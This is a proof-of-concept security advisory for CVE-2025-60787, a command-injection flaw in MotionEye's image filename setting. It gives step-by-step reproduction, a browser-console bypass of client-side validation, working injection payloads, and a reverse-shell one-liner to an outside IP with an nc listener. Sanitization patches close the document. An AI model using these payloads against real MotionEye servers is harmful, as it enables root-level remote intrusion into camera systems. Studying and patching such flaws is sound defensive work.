Share
## https://sploitus.com/exploit?id=99F94115-0E03-5816-A5EA-B58345DB63C0
# CVE-2025-60787
CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4  
Original link: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter


# MotionEye RCE via Client-Side Validation Bypass

## Summary
During security testing of a MotionEye instance running in Docker, it was observed that client-side validation within the web UI can be bypassed. This allows arbitrary input to be submitted, including payloads that can trigger execution on the host container. The issue poses a risk of remote code execution (RCE) if exploited.

**Affected Versions**: All versions up to and including 0.43.1b4    
**Patch Status**: No patch available yet. A workaround is given in this advisory.    
**project reference**: https://github.com/motioneye-project/motioneye    
**CWE**: CWE-20, CWE-78, CWE-116    
**CVSS**:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H    
**CVSS**: 7.2/10


---

## Environment
- Target: MotionEye running in Docker  
- Image: `ghcr.io/motioneye-project/motioneye:edge`  
- Exposed Port: `9999` mapped to container’s `8765`  
- Test Credentials: `admin` / blank password (default)  

---

## Steps to Reproduce

### 1. Container Setup    
Run the following command to initiate the Docker image download and start the container    
```bash
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
```



### 2. Version Verification
```bash
docker logs motioneye | grep "motionEye server"
```
**Result:** MotionEye server `0.43.1b4`



### 3. File System Access    
Once the Docker container is running, the container shell can be accessed using the following commands    

```bash
docker exec -it motioneye /bin/bash
ls -la /tmp
```



### 4. Initial Access
Access web interface at:  
http://127.0.0.1:9999  
Login: `admin` (blank password)

### 5. Camera Setup
Added sample RTSP network camera.  



### 6. Injection Attempt    
A malicious execution command was entered into the “Still Images” > “Image File Name” ,  but a client-side validation error was encountered.    
```bash
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
```
Blocked by client-side validation.    






### 7. Client-Side Validation Discovery    
The following script is responsible for the validation: /static/js/main.js?v=0.43.1b4, which references /static/js/ui.js?v=0.43.1b4 to implement the validation conditions.    

File: `/static/js/main.js?v=0.43.1b4` referencing `/static/js/ui.js?v=0.43.1b4`  
```javascript
function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}
```

### 8. Bypass Technique    
By overriding the **configUiValid** function in the browser console, all validation checks can be bypassed: Enter below snippet in console of the browser (F12 or Ctrl+Shift+I)    

```javascript
configUiValid = function() { 
    return true; 
};
```



### 9. Payload Execution    
Now payload can be directly entered without any validation: set as below and Apply the settings    

Settings:  
- Capture mode = Interval Snapshots  
- Interval = 10  
- Image File Name:  
```bash
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
```


Applied → File created with **root permissions**.  




---

## Impact: Weaponizing RCE    
simple reverse shell production:    


Listener:
```bash
nc -lvnp 4444
```



Injected Payload:
```bash
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
```



Result: Remote shell obtained.  


---

## Root Cause & Flow    
MotionEye is vulnerable because it takes user input from the web dashboard and writes it straight into the Motion config files without checking for dangerous characters. For example, the field image_file_name in the UI is sent to the backend (config.py) and saved into /etc/motioneye/camera-.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion process reads this config file. If the picture_filename field contains shell syntax like $(touch /tmp/test), Motion will run it as a real command instead of treating it as part of the filename.    

Unsanitized input written into Motion config files:  
`Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload`

---

## Prevention

### Sanitization Fix
File: `/usr/local/lib/python3.13/dist-packages/motioneye/config.py`
```python
def sanitize_filename(value):
    # allow only letters, numbers, %, _, -, /, .
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # safe fallback
    return value
```



Apply sanitization:
```python
data['picture_filename']  = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
```
before:

after:


---

## Alternative Resolution

### Step 1: Run Docker
```bash
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
```

### Step 2: Access Container
```bash
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
```

### Step 3: Modify Config
Original:
```python
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
```

Replace with:
```python
import re

on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
```


### Step 4: Restart
```bash
docker restart motioneye
```


---

## Alternative Patch
Inside `motion_camera_ui_to_dict(...)`:

Original:
```python
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
```

Replace with:
```python
from re import sub
data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
```

---